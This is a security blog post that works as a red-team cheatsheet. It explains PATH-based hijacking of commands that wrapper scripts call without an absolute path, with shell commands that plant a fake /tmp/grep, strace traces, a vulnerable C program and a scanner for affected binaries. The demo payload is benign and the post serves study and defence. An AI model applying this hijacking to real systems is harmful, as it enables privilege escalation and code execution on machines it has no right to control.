keyboard_arrow_up

title: Underlying Execution Hijacking
date: Jun 05, 2024
tags: cheatsheets redteam privesc


Introduction

In this article, we'll be talking about “underlying execution hijacking”, which makes it possible to exploit binaries even though they appear to be called by an absolute path.

The aim is to bypass the protection afforded by calling a binary by its absolute path by exploiting its underlying exploits.

To do this, we're going to hijack the execution of the following script (which is a password extractor)

#!/bin/bash
# Define a regex pattern to match various forms of password and secret keywords
PASSWORD_PATTERN='[Pp]assword[[:space:]]*[=:][[:space:]]*|[Ss]ecret[[:space:]]*[=:][[:space:]]*|[Pp]ass[[:space:]]*[=:][[:space:]]*'

# Search for the patterns recursively in the /etc/ directory
/bin/echo "Extracting password and secret fields from files in /etc/:"
/bin/egrep -r "$PASSWORD_PATTERN" /etc/

Here is the output of its execution:

lololekik@srv441507:~/underlay$ ./extract_password.sh 
Extracting password fields from files in /etc/:
grep: /etc/gshadow-: Permission denied
grep: /etc/shadow-: Permission denied
grep: /etc/sudoers.d: Permission denied
grep: /etc/cni: Permission denied
grep: /etc/letsencrypt/live: Permission denied
grep: /etc/letsencrypt/archive: Permission denied
grep: /etc/letsencrypt/accounts: Permission denied
grep: /etc/letsencrypt/keys: Permission denied
grep: /etc/.pwd.lock: Permission denied
grep: /etc/docker/key.json: Permission denied
grep: /etc/gshadow: Permission denied
grep: /etc/chrony/chrony.keys: Permission denied
grep: /etc/ssh/ssh_host_ecdsa_key: Permission denied
grep: /etc/ssh/ssh_host_dsa_key: Permission denied
grep: /etc/ssh/ssh_host_rsa_key: Permission denied
grep: /etc/ssh/ssh_host_ed25519_key: Permission denied
grep: /etc/sudoers: Permission denied
/etc/sudo.conf:19:# Sudo askpass:
/etc/ssl/openssl.cnf:118:# input_password = secret
/etc/ssl/openssl.cnf:119:# output_password = secret
/etc/ssl/openssl.cnf:162:challengePassword              = A challenge password
grep: /etc/ssl/private: Permission denied
grep: /etc/shadow: Permission denied
grep: /etc/security/opasswd: Permission denied
lololekik@srv441507:~/underlay$ 

Analysis of executables

Looking through our executables folder, we see that all the files are neither the same size nor the same type.

lololekik@srv441507:~/underlay$ file /bin/cat
/bin/cat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e6afa43e1e280bd06c018f541c7ae46a2ebda83c, for GNU/Linux 3.2.0, stripped
lololekik@srv441507:~/underlay$ file /bin/egrep
/bin/egrep: POSIX shell script, ASCII text executable

As shown above, many files are executables like ELFs, but others are ultimately scripts that are called.

It then becomes trivial to read the source code and understand what exactly these binaries do.

lololekik@srv441507:~/underlay$ cat /bin/egrep 
#!/bin/sh
exec grep -E "$@"

Underlying execution hijacking

As you can see (and as you've probably already figured out), binaries called by executable scripts are often (always?) called without an absolute path.

I don't know exactly why, but my theory is that it's a question of compatibility between different distributions.

To sum up, when we call egrep, a call to grep will be made without an absolute path (even if egrep is called with an absolute path).

So it's our environment variables that will be used to call grep, as we can see with a strace.

lololekik@srv441507:~/underlay$ strace /bin/egrep -r /etc/passwd 2&> strace.output
lololekik@srv441507:~/underlay$ echo $PATH
/home/lololekik/.cargo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
lololekik@srv441507:~/underlay$ cat strace.output | grep execve
execve("/bin/egrep", ["/bin/egrep", "-r", "/etc/passwd", "2"], 0x7fff699f8118 /* 24 vars */) = 0
execve("/home/lololekik/.cargo/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/root/.cargo/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 EACCES (Permission denied)
execve("/usr/local/sbin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/local/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/sbin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = 0

Knowing this, it's now very easy to exploit our password extractor.

lololekik@srv441507:~/underlay$ echo "/bin/echo 'underlying execution hijacking is cool' > /home/lololekik/underlay/amihijacking?" > /tmp/grep
lololekik@srv441507:~/underlay$ chmod +x /tmp/grep 
lololekik@srv441507:~/underlay$ PATH=/tmp:$PATH ./extract_password.sh 
Extracting password fields from files in /etc/:
lololekik@srv441507:~/underlay$ cat amihijacking\? 
underlying execution hijacking is cool

Obviously, in this case, the hijacked binary is executed with the same rights as our user. The aim was simply to demonstrate that hijacking was possible.

Impact only on a few binaries?

No. If you think this is an isolated case, I've made a script that allows you to run the file command on every file in a directory.

By just doing a bogus filter on “script”, you can already see almost 200 potentially vulnerable executables.

lololekik@srv441507:~/underlay$ ./typefile.sh /bin | grep "script" | head
/bin/apt-key: POSIX shell script, UTF-8 Unicode text executable
/bin/apt-listchanges: Python script, ASCII text executable
/bin/bashbug: POSIX shell script, ASCII text executable
/bin/bzdiff: POSIX shell script, ASCII text executable
/bin/bzexe: POSIX shell script, ASCII text executable
/bin/bzgrep: POSIX shell script, ASCII text executable
/bin/bzmore: POSIX shell script, ASCII text executable
/bin/c89-gcc: POSIX shell script, ASCII text executable
/bin/c99-gcc: POSIX shell script, ASCII text executable
/bin/catchsegv: POSIX shell script, ASCII text executable
lololekik@srv441507:~/underlay$ ./typefile.sh /bin | grep "script" | wc -l
197

With another script, we can extract all potentially hijackable binaries. If we take the first in the list from our previous output, we can find lots of binaries with no absolute path.

lololekik@srv441507:~/underlay$ ./checkscript.sh /bin/apt-key | sort | uniq
Found binary command without absolute path: apt-key
Found binary command without absolute path: as
Found binary command without absolute path: awk
Found binary command without absolute path: base64
Found binary command without absolute path: cat
Found binary command without absolute path: chmod
Found binary command without absolute path: cmp
Found binary command without absolute path: comm
Found binary command without absolute path: cp
Found binary command without absolute path: cut
Found binary command without absolute path: dpkg-query
Found binary command without absolute path: expr
Found binary command without absolute path: file
Found binary command without absolute path: find
Found binary command without absolute path: gpg
Found binary command without absolute path: gpgconf
Found binary command without absolute path: grep
Found binary command without absolute path: look
Found binary command without absolute path: make
Found binary command without absolute path: mkdir
Found binary command without absolute path: more
Found binary command without absolute path: mv
Found binary command without absolute path: rm
Found binary command without absolute path: script
Found binary command without absolute path: sed
Found binary command without absolute path: sh
Found binary command without absolute path: sort
Found binary command without absolute path: strip
Found binary command without absolute path: touch
Found binary command without absolute path: tr
Found binary command without absolute path: wc
Found binary command without absolute path: wget
Found binary command without absolute path: which
lololekik@srv441507:~/underlay$ ./checkscript.sh /bin/apt-key | wc -l
147

Deep dive on elf file

Okay, now let's take a closer look at how an ELF file works.

To illustrate our point, let's take the following C program, which just does an egrep on a file.

// grep_file.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_LINE 1024

void grep_file(const char *filename, const char *pattern) {
    char command[MAX_LINE];
    FILE *fp;
    char result[MAX_LINE];

    // Build grep command
    snprintf(command, sizeof(command), "/bin/egrep '%s' %s", pattern, filename);

    // Open process
    fp = popen(command, "r");
    if (fp == NULL) {
        perror("popen");
        exit(EXIT_FAILURE);
    }

    // Read lines and print
    while (fgets(result, sizeof(result), fp) != NULL) {
        printf("%s", result);
    }

    // Close process
    if (pclose(fp) == -1) {
        perror("pclose");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <filename> <pattern>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    grep_file(argv[1], argv[2]);

    return 0;
}

Here we can see with a strace that execution is still possible (note the use of the -f option in strace to track processes invoked with popen).

lololekik@srv441507:~/underlay$ strace ./vulnerablesExecutable/grep_file /etc/passwd a &> output 
lololekik@srv441507:~/underlay$ cat output | grep execve
execve("./vulnerablesExecutable/grep_file", ["./vulnerablesExecutable/grep_fil"..., "/etc/passwd", "a"], 0x7fffc0f763a0 /* 24 vars */) = 0
lololekik@srv441507:~/underlay$ strace -f ./vulnerablesExecutable/grep_file /etc/passwd a &> output 
lololekik@srv441507:~/underlay$ cat output | grep execve
execve("./vulnerablesExecutable/grep_file", ["./vulnerablesExecutable/grep_fil"..., "/etc/passwd", "a"], 0x7fff0197c7b8 /* 24 vars */) = 0
[pid 56280] execve("/bin/sh", ["sh", "-c", "/bin/egrep 'a' /etc/passwd"], 0x7ffe07e610e8 /* 24 vars */ <unfinished ...>
[pid 56280] <... execve resumed>)       = 0
[pid 56281] execve("/bin/egrep", ["/bin/egrep", "a", "/etc/passwd"], 0x55eee7b3b8b8 /* 24 vars */ <unfinished ...>
[pid 56281] <... execve resumed>)       = 0
[pid 56281] execve("/home/lololekik/.cargo/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/root/.cargo/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 EACCES (Permission denied)
[pid 56281] execve("/usr/local/sbin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/local/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/sbin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = 0
lololekik@srv441507:~/underlay$ echo "/bin/echo 'underlying execution hijacking on elf is very cool' > /home/lololekik/underlay/amihijackingelf?" > /tmp/grep
lololekik@srv441507:~/underlay$ chmod +x /tmp/grep 
lololekik@srv441507:~/underlay$ PATH=/tmp:$PATH ./vulnerablesExecutable/grep_file /etc/passwd lolo
lololekik@srv441507:~/underlay$ cat amihijackingelf\? 
underlying execution hijacking on elf is very cool

As you can see, the operation is not going to change, it's mainly the way you search for the binaries that will be different.

The main difficulty with a compiled executable is that the source code is not available.

strace remains a very good option for finding the binaries to be called. The major drawback is that it is dependent on the execution of the vulnerable part of the code.

To illustrate my point, let's try automating the task.

I've created a script that checks all binaries in a folder (or directly on a file) to see if they are vulnerable to an underlying execution hijacking attack.

Here are the steps to automate the attack.

  1. Define a path that does not exist in your $PATH vairable.
  2. Perform a strace -f on all binaries found in the directory.
  3. Check in the output if an execve is made from the path defined in the first step
  4. If so, the binary is vulnerable.

Let's test our script on a folder containing my password extractor and our grep file.

lololekik@srv441507:~/underlay$ ./UnderlayingExecutableHijackableSearcher.sh vulnerablesExecutable/
Updated PATH: /lolo9876:/home/lololekik/.cargo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Running strace on vulnerablesExecutable//extract_password.sh...
PWN: /lolo9876/grep
Running strace on vulnerablesExecutable//grep_file...
lololekik@srv441507:~/underlay$ 

As you can see, only one executable is considered vulnerable, whereas both are.

This is because you have to wait for the vulnerable part of the code to be called. Here, my C program grep_file waits for arguments to be called before executing, so it never invokes the grep binary.

So it's still quite difficult for ELFs to automate the task. You need to trigger all the functions (directly with jmp?) in the program.

Conclusion

On closer inspection, many executables invoke other binaries, which in turn can be hijacked. This little trick can be used in conjunction with privesc, code exec or command injection.

Link

https://github.com/LOLOLEKIK/underlying-execution-hijacking